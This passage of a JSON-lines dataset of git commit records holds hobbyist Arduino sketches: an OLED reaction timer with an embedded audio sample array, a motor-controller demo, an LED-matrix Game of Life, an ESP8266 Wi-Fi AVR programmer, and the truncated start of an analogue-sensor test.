77, 48, 55, 39, 48, 67, 62, 54, 78, 77, 87, 119, 118, 135, 170, 164, 159, 173, 152, 141, 163, 145, 91, 105, 70, 59, 103, 73, 80, 81, 56, 52, 80, 82, 89, 124, 105, 97, 108, 74, 40, 44, 30, 40, 70, 64, 56, 77, 73, 82, 122, 121, 140, 179, 174, 160, 171, 154, 134, 170, 128, 81, 95, 50, 69, 98, 91, 94, 85, 63, 52, 79, 86, 107, 130, 114, 100, 86, 50, 34, 45, 52, 64, 71, 57, 44, 63, 68, 96, 134, 146, 168, 187, 168, 153, 156, 138, 152, 138, 84, 81, 49, 58, 81, 81, 106, 88, 72, 62, 64, 74, 102, 123, 119, 114, 88, 44, 35, 42, 48, 87, 77, 61, 52, 51, 59, 92, 124, 146, 186, 187, 173, 165, 143, 134, 158, 119, 85, 77, 29, 50, 69, 71, 106, 100, 81, 76, 77, 68, 100, 119, 111, 113, 72, 42, 42, 62, 71, 96, 85, 60, 52, 58, 69, 100, 135, 160, 185, 188, 169, 156, 149, 141, 148, 106, 81, 55, 28, 52, 51, 74, 93, 81, 83, 84, 80, 90, 115, 110, 114, 88, 58, 41, 51, 70, 86, 107, 86, 66, 61, 65, 83, 124, 147, 174, 187, 179, 166, 159, 158, 150, 128, 85, 65, 33, 37, 44, 53, 75, 68, 73, 76, 78, 93, 117, 118, 99, 85, 52, 32, 57, 63, 77, 114, 92, 74, 76, 64, 76, 127, 145, 169, 198, 176, 161, 162, 150, 145, 129, 93, 62, 37, 41, 31, 57, 64, 52, 68, 62, 63, 89, 117, 107, 112, 88, 42, 37, 44, 50, 86, 101, 85, 88, 79, 78, 110, 141, 157, 184, 189, 169, 163, 155, 143, 127, 109, 87, 58, 60, 50, 43, 68, 49, 41, 53, 43, 58, 88, 99, 94, 109, 76, 51, 58, 49, 55, 84, 75, 75, 86, 82, 107, 152, 170, 195, 210, 184, 162, 155, 135, 109, 98, 85, 55, 78, 66, 60, 88, 67, 58, 60, 46, 38, 75, 73, 79, 102, 67, 66, 74, 65, 66, 85, 61, 66, 76, 80, 113, 158, 178, 203, 219, 187, 175, 157, 122, 82, 80, 52, 45, 76, 59, 80, 87, 71, 67, 71, 48, 58, 73, 57, 76, 68, 58, 63, 77, 74, 88, 83, 64, 66, 70, 94, 134, 179, 204, 226, 218, 190, 162, 123, 72, 63, 46, 51, 64, 62, 81, 71, 77, 68, 61, 64, 66, 73, 72, 70, 54, 56, 54, 70, 82, 88, 86, 80, 72, 79, 102, 139, 185, 224, 241, 229, 213, 141, 79, 55, 18, 44, 69, 66, 93, 79, 63, 64, 62, 59, 74, 83, 65, 81, 64, 56, 75, 76, 66, 88, 70, 62, 80, 84, 107, 147, 168, 188, 225, 212, 208, 180, 102, 68, 27, 25, 47, 60, 93, 89, 84, 70, 58, 52, 60, 76, 76, 88, 74, 63, 71, 79, 78, 99, 84, 72, 72, 71, 97, 141, 178, 206, 239, 219, 203, 153, 82, 63, 27, 46, 58, 61, 86, 73, 73, 69, 62, 59, 70, 69, 65, 80, 57, 61, 74, 73, 82, 97, 77, 80, 81, 82, 114, 150, 184, 224, 250, 231, 201, 120, 68, 23, 18, 43, 49, 91, 82, 75, 71, 53, 50, 73, 86, 85, 96, 69, 51, 60, 58, 73, 96, 87, 85, 82, 70, 95, 130, 169, 222, 253, 255, 217, 134, 84, 18, 21, 39, 46, 90, 76, 73, 67, 50, 42, 67, 76, 85, 103, 74, 66, 69, 58, 71, 94, 79, 91, 90, 74, 98, 122, 143, 200, 238, 242, 216, 141, 85, 23, 28, 31, 62, 102, 85, 91, 61, 32, 28, 53, 62, 97, 107, 79, 79, 64, 54, 81, 97, 93, 114, 92, 81, 101, 114, 152, 215, 238, 237, 180, 109, 44, 6, 33, 37, 97, 112, 100, 96, 54, 32, 33, 54, 65, 99, 88, 72, 71, 64, 68, 96, 99, 104, 111, 93, 97, 112, 133, 170, 229, 235, 219, 151, 84, 17, 5, 18, 42, 104, 98, 115, 96, 55, 39, 37, 47, 74, 100, 82, 86, 69, 59, 73, 88, 89, 117, 109, 105, 119, 121, 152, 204, 240, 239, 188, 120, 39, 0, 4, 16, 84, 99, 107, 111, 63, 43, 36, 40, 58, 95, 78, 79, 74, 58, 73, 96, 90, 109, 106, 93, 113, 119, 146, 196, 239, 239, 195, 147, 48, 17, 6, 0, 76, 76, 96, 109, 74, 54, 53, 46, 50, 92, 68, 76, 76, 57, 65, 95, 79, 109, 112, 96, 123, 120, 142, 184, 230, 226, 203, 159, 60, 41, 4, 1, 74, 67, 98, 110, 69, 54, 52, 41, 59, 97, 75, 86, 80, 52, 65, 89, 70, 113, 106, 98, 121, 115, 134, 180, 221, 214, 207, 154, 70, 55, 7, 16, 76, 63, 104, 104, 65, 52, 47, 36, 65, 94, 73, 98, 79, 62, 83, 89, 80, 120, 99, 105, 124, 113, 145, 181, 204, 192, 194, 121, 74, 67, 4, 55, 74, 68, 113, 91, 57, 59, 41, 29, 81, 73, 81, 99, 75, 69, 97, 87, 97, 128, 94, 126, 127, 129, 159, 188, 172, 169, 157, 74, 90, 40, 28, 81, 59, 88, 103, 76, 60, 64, 32, 49, 77, 59, 89, 84, 70, 88, 100, 87, 123, 110, 110, 133, 133, 148, 181, 179, 147, 166, 85, 80, 68, 23, 76, 64, 75, 101, 85, 71, 74, 53, 45, 73, 50, 74, 84, 69, 81, 97, 84, 115, 122, 115, 142, 137, 150, 167, 176, 137, 154, 99, 75, 85, 30, 73, 68, 64, 96, 83, 70, 78, 64, 49, 77, 50, 58, 76, 63, 77, 99, 86, 106, 123, 107, 145, 141, 157, 176, 187, 146, 150, 103, 62, 91, 35, 73, 83, 61, 92, 86, 66, 81, 74, 53, 80, 57, 47, 70, 56, 66, 99, 87, 100, 119, 96, 128, 138, 148, 175, 192, 158, 149, 125, 57, 90, 48, 59, 96, 64, 86, 91, 65, 74, 82, 57, 81, 78, 51, 73, 59, 55, 85, 88, 89, 123, 95, 116, 130, 132, 161, 179, 176, 148, 149, 77, 84, 70, 45, 96, 71, 81, 97, 72, 70, 77, 60, 64, 83, 58, 75, 77, 63, 76, 91, 75, 109, 101, 95, 126, 119, 147, 167, 182, 152, 158, 109, 75, 93, 41, 78, 87, 62, 96, 76, 67, 77, 69, 58, 81, 66, 66, 85, 69, 78, 92, 85, 90, 109, 80, 111, 110, 123, 152, 170, 170, 153, 149, 86, 98, 72, 51, 96, 62, 80, 86, 63, 72, 74, 61, 71, 82, 58, 87, 75, 80, 92, 95, 83, 104, 84, 86, 108, 97, 135, 144, 171, 169, 156, 141, 95, 102, 66, 69, 88, 61, 88, 72, 67, 68, 70, 58, 72, 73, 66, 92, 83, 93, 102, 95, 83, 100, 70, 89, 95, 95, 126, 134, 156, 168, 155, 150, 120, 106, 88, 70, 79, 66, 72, 76, 69, 69, 65, 62, 54, 68, 67, 88, 101, 104, 112, 103, 87, 85, 75, 76, 90, 92, 112, 123, 134, 159, 160, 153, 158, 118, 115, 91, 66, 76, 59, 69, 76, 71, 69, 70, 50, 58, 69, 73, 105, 115, 118, 118, 98, 79, 75, 62, 73, 84, 92, 103, 114, 122, 142, 160, 153, 168, 134, 116, 99, 54, 66, 55, 62, 78, 77, 67, 66, 50, 46, 70, 81, 113, 135, 129, 116, 100, 66, 63, 61, 62, 86, 86, 93, 96, 97, 108, 130, 155, 177, 173, 162, 126, 93, 66, 44, 59, 60, 81, 84, 76, 65, 50, 47, 58, 88, 110, 140, 144, 131, 106, 80, 57, 53, 58, 70, 87, 91, 93, 91, 93, 98, 117, 142, 164, 175, 162, 143, 100, 76, 54, 47, 63, 68, 83, 82, 72, 61, 55, 58, 81, 103, 123, 147, 135, 129, 98, 74, 62, 60, 65, 80, 87, 85, 94, 86, 94, 106, 119, 146, 160, 163, 153, 135, 101, 84, 63, 54, 66, 65, 79, 80, 75, 68, 69, 68, 86, 106, 119, 140, 135, 127, 105, 83, 63, 57, 55, 66, 81, 87, 102, 98, 101, 103, 110, 126, 141, 156, 153, 145, 118, 92, 71, 56, 58, 68, 80, 91, 93, 84, 80, 73, 79, 92, 108, 121, 128, 121, 106, 88, 68, 65, 64, 72, 83, 88, 94, 92, 92, 94, 100, 108, 118, 123, 129, 129, 119, 113, 98, 94, 90, 86, 89, 89, 84, 85, 77, 75, 77, 79, 89, 99, 105, 111, 111, 102, 102, 91, 88, 86, 83, 84, 86, 85, 85, 87, 85, 92, 97, 103, 110, 114, 117, 121, 124, 120, 122, 112, 103, 94, 80, 76, 74, 74, 81, 89, 90, 96, 94, 91, 91, 91, 96, 103, 108, 111, 110, 97, 90, 78, 73, 78, 81, 92, 99, 104, 105, 105, 100, 99, 98, 100, 107, 112, 116, 114, 110, 102, 96, 89, 91, 93, 94, 97, 92, 89, 84, 81, 83, 87, 92, 100, 104, 108, 108, 104, 102, 98, 96, 97, 95, 93, 88, 86, 81, 83, 84, 90, 98, 104, 110, 112, 114, 113, 111, 110, 109, 109, 107, 104, 99, 91, 86, 81, 82, 85, 92, 99, 104, 104, 103, 98, 92, 93, 92, 97, 102, 105, 104, 101, 90, 84, 78, 79, 87, 95, 105, 109, 108, 101, 95, 87, 86, 88, 92, 98, 99, 98, 96, 95, 95, 99, 103, 107, 107, 105, 101, 95, 90, 88, 91, 94, 98, 100, 99, 97, 91, 90, 88, 91, 96, 99, 104, 102, 99, 93, 87, 84, 85, 89, 96, 105, 109, 113, 113, 110, 107, 105, 103, 105, 105, 102, 98, 90, 83, 77, 76, 77, 82, 87, 93, 98, 99, 101, 102, 103, 105, 107, 105, 106, 102, 99, 96, 95, 95, 95, 96, 93, 94, 92, 93, 92, 92, 93, 93, 95, 94, 96, 95, 96, 97, 96, 97, 96, 96, 95, 97, 97, 101, 103, 104, 104, 102, 102, 99, 98, 97, 96, 94, 95, 94, 93, 93, 92, 93, 93, 93, 93, 95, 95, 96, 96, 95, 94, 95, 96, 96, 97, 97, 96, 95, 96, 94, 94, 94, 96, 98, 99, 101, 102, 102, 100, 99, 96, 94, 92, 93, 93, 93, 93, 92, 91, 90, 90, 92, 95, 96, 97, 97, 95, 95, 94, 94, 95, 95, 96, 98, 98, 99, 99, 100, 101, 102, 102, 104, 103, 101, 100, 97, 96, 93, 91, 91, 89, 89, 89, 91, 91, 93, 94, 96, 98, 100, 100, 100, 98, 97, 96, 94, 94, 92, 92, 93, 94, 95, 96, 99, 100, 101, 103, 104, 104, 103, 103, 100, 98, 96, 95, 94, 92, 93, 92, 93, 92, 92, 92, 92, 93, 94, 97, 99, 101, 102, 102, 102, 100, 99, 98, 98, 98, 99, 98, 98, 97, 96, 95, 95, 95, 95, 96, 96, 95, 96, 95, 94, 94, 95, 95, 95, 94, 94, 95, 94, 95, 95, 95, 95, 96, 96, 97, 96, 96, 96, 95, 95, 94, 94, 93, 93, 92, 93, 93, 94, 94, 95, 95, 97, 97, 98, 99, 98, 98, 97, 97, 96, 96, 96, 97, 97, 96, 96, 94, 93, 92, 93, 93, 94, 96, 96, 97, 96, 96, 94, 94, 94, 94, 94, 94, 94, 95, 95, 94, 94, 94, 95, 94, 94, 94, 96, 96, 96, 96, 96, 95, 95, 96, 95, 95, 95, 95, 95, 94, 95, 96, 95, 95, 95, 95, 94, 95, 95, 95, 94, 94, 95, 95, 95, 94, 94, 95, 96, 97, 97, 97, 96, 95, 94, 94, 94, 95, 96, 96, 95, 94, 94, 94, 95, 96, 97, 99, 99, 97, 97, 97, 97, 97, 98, 98, 97, 97, 98, 98, 97, 97, 97, 96, 96, 95, 95, 95, 95, 95, 94, 94, 94, 94, 94, 94, 94, 94, 95, 94, 94, 94, 94, 94, 94, 94, 95, 95, 95, 94, 95, 95, 95, 96, 97, 97, 96, 96, 96, 96, 96, 96, 96, 96, 95, 94, 94, 93, 94, 95, 95, 96, 95, 94, 94, 93, 93, 93, 94, 95, 95, 95, 95, 95, 95, 96, 96, 96, 97, 97, 97, 97, 96, 96, 95, 94, 94, 93, 93, 93, 93, 93, 93, 92, 92, 93, 92, 92, 92,\n};\n\n\/\/ If using software SPI (the default case):\n#define OLED_MOSI 8\n#define OLED_CLK 9\n#define OLED_DC 10\n#define OLED_CS 12\n#define OLED_RESET 13\nAdafruit_SSD1306 display(OLED_MOSI, OLED_CLK, OLED_DC, OLED_RESET, OLED_CS);\n\n#if (SSD1306_LCDHEIGHT != 64)\n#error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n#endif\n\n\/\/\/\/ CONSTANTS\nint button = 2; \/\/ button pin\n\nlong starttime = 0; \/\/start time of 'pull'\nlong endtime = 0; \/\/end time of 'pull'\nlong mypause = 5000; \/\/ delay between 'pull cause' -\nlong myrandomtime = 0; \/\/variable for randomising 'pull' calls by a certain degree\n\nlong mydelay = 0; \/\/ single press reaction time\nlong results[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; \/\/ array to hold past 10 results\nlong myaverage = 0; \/\/average of past 10 calls\nlong mymin = 0; \/\/ minimum reaction time of past 10 calls\nlong mymax = 0; \/\/ maximum \"\" \"\"\nlong mystdev = 0; \/\/ Standard Deviation of reaction times\nint pointer = 0; \/\/ 'pointer' to non-zero values in an array of previous button pressses\nlong mytotal = 0; \/\/ helper for calculating averagage\nint count = 0; \/\/helper for calculatin g average - number of legitimate button presses\nlong mysquares = 0; \/\/ helper for calculating standard deviation\nint line1start = 30; \/\/ pixel of dividing line for display grid\nint line2start = 84; \/\/ \"\" \"\" \"\"\n\nvoid setup() {\n \/\/start serial for debug\n Serial.begin(9600);\n \/\/set button to input pullup, so we can just wire it to ground to trigger\n pinMode(button, INPUT_PULLUP);\n \/\/init SSD as per sample Adafruit code\n display.begin(SSD1306_SWITCHCAPVCC);\n \/\/ init done\n\n \/\/ clear display buffer\n display.clearDisplay();\n \/\/ portrait rotation\n display.setRotation(1);\n \/\/ set text and home\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(0, 0);\n\n \/\/ intro notice\n display.println(\"Pull!\");\n display.println();\n display.println(\"Reaction\");\n display.println(\"Timer\");\n display.println(\"(C) Steve Wilson\");\n display.println(\"Feb 2016\");\n display.println(\"Ver 0.1\");\n display.display();\n delay(2000);\n\n \/\/ now clear display and set up a grid pattern for displaying results neatly\n \/\/ this is done in a function we can re-use, as each time we draw text we need to clear the background\n \/\/ probably a more efficient way of doing this, but hey, it works.\n redraw();\n}\n\n\nvoid loop() {\n\n \/\/debug to serial\n Serial.println (\"Pull!\");\n\n \/\/start playback of audio sample\n startPlayback(sample, sizeof(sample));\n\n \/\/start our timer\n starttime = millis();\n\n \/\/now wait for a button press - super tight loop here (could be done with interrupts, but this works fine\n while (digitalRead(button) == HIGH) {\n }\n\n \/\/ button has been pressed - record time\n endtime = millis();\n\n \/\/calculate reaction time\n mydelay = endtime - starttime;\n Serial.print(\"Delay: \");\n Serial.println(mydelay);\n\n\n \/\/if the reaction time is a reasonable figure (less than 2 seconds), then record it as a valid result\n \/\/ if the device is left unused, then delay is large and result is discarded\n \/\/ this effectively puts the box into an inefficient standby until the button is pressed to restart the sequence\n if (mydelay < 2000)\n {\n \/\/we have a valid button press, store the result in our array of 10 previous valid responses\n \/\/ rolling buffer array of previous 10 arrays. Oldest result gets overwritten\n results[pointer] = mydelay;\n pointer++;\n if (pointer == 10) {\n pointer = 0;\n }\n\n \/\/reset stats\n myaverage = 0;\n mytotal = 0;\n mymin = 0;\n mymax = 0;\n count = 0;\n mystdev = 0;\n mysquares = 0;\n\n\n \/\/ calculate stats based on previous valid button presses\n for (int i = 0; i < 10; i++)\n {\n\n \/\/ result in array is a valid button press, calculate stats\n if (results[i] > 0)\n {\n \/\/count how many valid presses we have\n count++;\n\n \/\/sum values for working average\n mytotal = mytotal + results[i];\n\n \/\/get the minimum value in the array\n if (mymin == 0) {\n mymin = results[i];\n }\n if (results[i] < mymin) {\n mymin = results[i];\n }\n\n \/\/max value in array\n if (results[i] > mymax) {\n mymax = results[i];\n }\n\n }\/\/end if array unit greater than zero\n }\/\/end loop over results array\n\n \/\/having looped over all valid results, now calculate the average reaction time and print\n myaverage = mytotal \/ count;\n Serial.print(\"Average: \");\n Serial.println (myaverage);\n\n\n \/\/calculate standard deviation\n for (int i = 0; i < 10; i++)\n {\n if (results[i] > 0) {\n long var = results[i] - myaverage;\n mysquares = mysquares + (var * var);\n }\n }\n long sqmean = mysquares \/ count;\n mystdev = sqrt(sqmean);\n\n\n\n } \/\/end if delay less than 2000\n\n \/\/debug - output the array\n for (int i = 0; i < 10; i++) {\n Serial.println(results[i]);\n }\n \/\/debug output raw values used in calcs\n Serial.println(myaverage);\n Serial.println(count);\n Serial.println(mymin);\n Serial.println(mymax);\n Serial.println(mystdev);\n\n \/\/display results on OLED\n\n \/\/clear display\n display.clearDisplay();\n\n \/\/redraw grid\n redraw();\n\n \/\/ put last reaction time at top in big fint\n display.setCursor(0, 0);\n display.setTextSize(2);\n display.print(mydelay);\n display.setTextSize(1);\n display.setCursor(50, 0);\n display.print (\" m\");\n display.setCursor(50, 10);\n display.print (\" s\");\n\n \/\/minimum - top right of grid\n display.setCursor(5, line1start + 30);\n display.print(mymin);\n \/\/max - top left\n display.setCursor(37, line1start + 30);\n display.print(mymax);\n \/\/ average\n display.setCursor(5, line2start + 30);\n display.print(myaverage);\n \/\/std deviation\n display.setCursor(37, line2start + 30);\n display.print(mystdev);\n \/\/draw\n display.display();\n\n \/\/now wait for our given pause (e.g. 6 seconds +-1 second) between 'pull' calls to mimic a real DTL\/ABT layout\n delay(mypause + random(0, 2000));\n\n}\/\/end loop\n\n\n\n\/\/function to clear display and draw simple grid\nvoid redraw() {\n\n display.clearDisplay();\n display.setCursor(0, 0);\n \/\/fast horiz line at 32\n\n display.drawFastHLine(0, line1start, 64, 1);\n display.drawFastHLine(0, line2start, 64, 1);\n display.drawFastVLine(32, line1start, 128, 1);\n display.display();\n display.setCursor(0, 0);\n display.setTextSize(2);\n \/\/ display.println(\"123 ms\");\n \/\/ display.display();\n \/\/vast vert line at 64\n display.setTextSize(1);\n display.setCursor(0, (line1start + 2));\n display.print(\"Best\");\n\n display.setCursor(32, (line1start + 2));\n display.print(\"Worst\");\n display.setCursor(5, (line2start + 2));\n\n display.print(\"Avg:\");\n display.setCursor(35, (line2start + 2));\n\n display.print(\"Dev:\");\n display.display();\n\n}\n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ReactionTimer01.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"c417df3f482b167c1db3c1f3b964f215eb56878b","subject":"some more visisble result","message":"some more visisble result\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"SPITest\/SPITest.ino","new_file":"SPITest\/SPITest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"683e6a70a627b1838c5a19d37b8b314de5003be2","subject":"Motor Demo","message":"Motor Demo\n","repos":"BenMatase\/MARC-y-MARC","old_file":"rsc\/L298N_Motor_Controller_Demo.ino","new_file":"rsc\/L298N_Motor_Controller_Demo.ino","new_contents":"\/\/ connect motor controller pins to Arduino digital pins\n\/\/ motor one\nint enA = 10;\nint in1 = 9;\nint in2 = 8;\n\/\/ motor two\nint enB = 5;\nint in3 = 7;\nint in4 = 6;\nvoid setup()\n{\n \/\/ set all the motor control pins to outputs\n pinMode(enA, OUTPUT);\n pinMode(enB, OUTPUT);\n pinMode(in1, OUTPUT);\n pinMode(in2, OUTPUT);\n pinMode(in3, OUTPUT);\n pinMode(in4, OUTPUT);\n}\nvoid demoOne()\n{\n \/\/ this function will run the motors in both directions at a fixed speed\n \/\/ turn on motor A\n digitalWrite(in1, HIGH);\n digitalWrite(in2, LOW);\n \/\/ set speed to 200 out of possible range 0~255\n analogWrite(enA, 200);\n \/\/ turn on motor B\n digitalWrite(in3, HIGH);\n digitalWrite(in4, LOW);\n \/\/ set speed to 200 out of possible range 0~255\n analogWrite(enB, 200);\n delay(2000);\n \/\/ now change motor directions\n digitalWrite(in1, LOW);\n digitalWrite(in2, HIGH); \n digitalWrite(in3, LOW);\n digitalWrite(in4, HIGH); \n delay(2000);\n \/\/ now turn off motors\n digitalWrite(in1, LOW);\n digitalWrite(in2, LOW); \n digitalWrite(in3, LOW);\n digitalWrite(in4, LOW);\n}\nvoid demoTwo()\n{\n \/\/ this function will run the motors across the range of possible speeds\n \/\/ note that maximum speed is determined by the motor itself and the operating voltage\n \/\/ the PWM values sent by analogWrite() are fractions of the maximum speed possible \n \/\/ by your hardware\n \/\/ turn on motors\n digitalWrite(in1, LOW);\n digitalWrite(in2, HIGH); \n digitalWrite(in3, LOW);\n digitalWrite(in4, HIGH); \n \/\/ accelerate from zero to maximum speed\n for (int i = 0; i < 256; i++)\n {\n analogWrite(enA, i);\n analogWrite(enB, i);\n delay(20);\n } \n \/\/ decelerate from maximum speed to zero\n for (int i = 255; i >= 0; --i)\n {\n analogWrite(enA, i);\n analogWrite(enB, i);\n delay(20);\n } \n \/\/ now turn off motors\n digitalWrite(in1, LOW);\n digitalWrite(in2, LOW); \n digitalWrite(in3, LOW);\n digitalWrite(in4, LOW); \n}\nvoid loop()\n{\n demoOne();\n delay(1000);\n demoTwo();\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rsc\/L298N_Motor_Controller_Demo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"35bad2776492a0aebeb21c5842495d1c6edfb2be","subject":"Create game.ino","message":"Create game.ino","repos":"hyw208\/conway-game-of-life-on-matrix","old_file":"game.ino","new_file":"game.ino","new_contents":"\/\/ led matrix (8 * 8) pin to arduino pin mappings \nconst int pin1 = 17;\nconst int pin2 = 15;\nconst int pin3 = 7;\nconst int pin4 = 8;\nconst int pin5 = 14;\nconst int pin6 = 10;\nconst int pin7 = 16;\nconst int pin8 = 4;\nconst int pin9 = 2;\nconst int pin10 = 9;\nconst int pin11 = 11;\nconst int pin12 = 5;\nconst int pin13 = 6;\nconst int pin14 = 3;\nconst int pin15 = 12;\nconst int pin16 = 13;\n\n\/\/ led matrix pin to row\/col mappings\nconst int row1 = pin9;\nconst int row2 = pin14;\nconst int row3 = pin8;\nconst int row4 = pin12;\nconst int row5 = pin1;\nconst int row6 = pin7;\nconst int row7 = pin2;\nconst int row8 = pin5;\nconst int col1 = pin13;\nconst int col2 = pin3;\nconst int col3 = pin4;\nconst int col4 = pin10;\nconst int col5 = pin6;\nconst int col6 = pin11;\nconst int col7 = pin15;\nconst int col8 = pin16;\n\n\/\/ easy access by index later\nconst int rows[8] = {row1, row2, row3, row4, row5, row6, row7, row8};\nconst int cols[8] = {col1, col2, col3, col4, col5, col6, col7, col8};\n\n\/\/ matrix alive or empty states\nint matrix[8][8] = {};\n\n\/\/ hold next gen matrix alive or empty states\nint next_matrix[8][8] = {};\n\n\/\/ light up leds based on matrix states\nvoid render() \n{\n for (int row=0; row<8; row++) \n {\n digitalWrite(rows[row], HIGH);\n for (int col=0; col<8; col++) \n {\n int led = matrix[row][col];\n \/\/ when the row is HIGH and the col is LOW, the LED where they meet turns on\n digitalWrite(cols[col], led == 1 ? LOW : HIGH);\n if (led == 1) \n {\n digitalWrite(cols[col], HIGH);\n }\n }\n digitalWrite(rows[row], LOW);\n }\n}\n\n\/\/ dim the entire matrix\nvoid dim() \n{\n for (int row=0; row<8; row++) \n {\n digitalWrite(rows[row], LOW);\n for (int col=0; col<8; col++) \n {\n digitalWrite(cols[col], HIGH);\n } \n }\n}\n\n\/\/ randomize the matrix inital states for conway game of live\nvoid chance()\n{\n for (int row=0; row<8; row++) \n {\n for (int col=0; col<8; col++) \n {\n matrix[row][col] = random(2);\n } \n }\n}\n\n\/\/ seed the matrix inital states to result in glider for conway game of live\nvoid glider()\n{\n for (int row=0; row<8; row++) \n {\n for (int col=0; col<8; col++) \n {\n matrix[row][col] = 0;\n } \n }\n matrix[2][2] = 1;\n matrix[1][2] = 1;\n matrix[0][2] = 1;\n matrix[2][1] = 1;\n matrix[1][0] = 1;\n}\n\n\/\/ calculate new matrix states\nvoid next_gen() \n{\n for (int row=0; row<8; row++)\n {\n for (int col=0; col<8; col++)\n {\n \/\/ check neighbor count\n int count = 0;\n int lrow = row - 1 >= 0 ? row - 1 : row, hrow = row + 1 < 8 ? row + 1 : row;\n int lcol = col - 1 >= 0 ? col - 1 : col, hcol = col + 1 < 8 ? col + 1 : col;\n for (int r=lrow; r<=hrow; r++)\n {\n for (int c=lcol; c<=hcol; c++)\n {\n if (r != row || c != col) \n {\n if (matrix[r][c] == 1)\n {\n count += 1;\n } \n } \n }\n }\n \n \/\/ based on neighbor count, decide to live or die\n int cell = matrix[row][col]; \n if (cell == 1) \/\/ live cell\n {\n if (count < 2 || count > 3)\n {\n cell = 0; \/\/ to die\n }\n }\n else \/\/ empty cell\n {\n if (count > 2)\n {\n cell = 1; \/\/ to live \n }\n }\n \n \/\/ update new matrix state\n next_matrix[row][col] = cell;\n } \n }\n \n \/\/ ** update matrix in one go\n for (int row=0; row<8; row++)\n {\n for (int col=0; col<8; col++)\n {\n matrix[row][col] = next_matrix[row][col];\n }\n }\n}\n\n\/\/ arduino life cycle method: setup is called once\nvoid setup() \n{\n \/\/ set arduino pin mode\n for (int i=2; i<18; i++)\n {\n pinMode(i, OUTPUT);\n }\n \n \/\/ setup initial pattern for matrix\n glider();\n \n \/\/ dim entire matrix\n dim();\n\n \/\/ debug to console if needed\n Serial.begin(9600);\n Serial.println(\"Game on!\");\n}\n\nint loops = 0; \/\/ think of one loop is one day\nint lifespan = 365 * 3; \/\/ 365 * 3 days per generation\n\n\/\/ arduino life cycle method: it's called very rapidly, treat one call as one day\nvoid loop() \n{\n \/\/ just another day\n loops += 1; \n\n \/\/ next generation is to come\n if (loops % lifespan == 0) \n {\n loops = 0;\n next_gen();\n } \n \n \/\/ called every loop to keep showing the matrix states\n render();\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'game.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"20d8b5c67443bb3769499f9a537a6707c6ecfda6","subject":"add avr programmer code for iuppiter","message":"add avr programmer code for iuppiter\n","repos":"vvzvlad\/Iuppiter,vvzvlad\/Iuppiter,vvzvlad\/Iuppiter,vvzvlad\/Iuppiter,vvzvlad\/Iuppiter","old_file":"c\/wifi_avrisp_programmer\/wifi_avrisp_programmer.ino","new_file":"c\/wifi_avrisp_programmer\/wifi_avrisp_programmer.ino","new_contents":"#include <Arduino.h>\n\n#include <SPI.h>\n#include <ESP8266WiFi.h>\n#include <ESP8266mDNS.h>\n#include <ESP8266AVRISP.h>\n\nconst char* host = \"esp8266-avrisp\";\nconst char* ssid = \"IoT_Dobbi\";\nconst char* pass = \"was7thod\";\nconst uint16_t port = 328;\nconst uint8_t reset_pin = 5;\n\nESP8266AVRISP avrprog(port, reset_pin);\n\nvoid setup() {\n Serial.begin(115200);\n avrprog.setReset(false);\n\n WiFi.begin(ssid, pass);\n while (WiFi.waitForConnectResult() != WL_CONNECTED);\n\n MDNS.begin(host);\n MDNS.addService(\"avrisp\", \"tcp\", port);\n\n IPAddress local_ip = WiFi.localIP();\n Serial.print(\"\\n\\nIP address: \");\n Serial.println(local_ip);\n\n \/\/ listen for avrdudes\n avrprog.begin();\n}\n\nvoid loop() {\n static AVRISPState_t last_state = AVRISP_STATE_IDLE;\n AVRISPState_t new_state = avrprog.update();\n if (last_state != new_state) {\n switch (new_state) {\n case AVRISP_STATE_IDLE: {\n \/\/Serial.printf(\"[AVRISP] now idle\\r\\n\");\n \/\/ Use the SPI bus for other purposes\n break;\n }\n case AVRISP_STATE_PENDING: {\n \/\/Serial.printf(\"[AVRISP] connection pending\\r\\n\");\n \/\/ Clean up your other purposes and prepare for programming mode\n break;\n }\n case AVRISP_STATE_ACTIVE: {\n \/\/Serial.printf(\"[AVRISP] programming mode\\r\\n\");\n \/\/ Stand by for completion\n break;\n }\n }\n last_state = new_state;\n }\n \/\/ Serve the client\n if (last_state != AVRISP_STATE_IDLE) {\n avrprog.serve();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'c\/wifi_avrisp_programmer\/wifi_avrisp_programmer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4c4bf6a0ce4f5147813fc09d4988267c367f15db","subject":"Create Test_analogue.ino","message":"Create Test_analogue.ino","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/Test_analogue.ino","new_file":"ESP8266-code\/Test_analogue.ino","new_contents":"#define ADC_REF 3.3 \/\/ Reference voltage\n#define ADC A0 \/\/ Analog input\n\n#define STATSON D7 \/\/ take this pin high to turn on stats \n\n\/\/ Sensor \nString sensorName = \"Angle\";\n\n\/\/ sampling\nint samples = 25;\nint delayms = 1000;\n\nvoid setup() \n{\n Serial.begin(9600); \n\n delay(100); \/\/ sensor startup delay\n \n Serial.println(); \n Serial.println(sensorName);\n}\n\n\nvoid loop() {\n if (digitalRead(STATSON))\n gatherStats();\n else getSample();\n delay(delayms);\n}\n\nvoid gatherStats() {\n float sum=0;\n float sum1=0; \n float sum2=0;\n float value, k;\n k = asValue(getVoltage()); \n Serial.println(String(\"k = \") + k);\n delay(delayms); \n for(int i =0; i<samples; i++) {\n float voltage = getVoltage();\n value =asValue(voltage);\n Serial.println(String(\"value = \") + value);\n sum 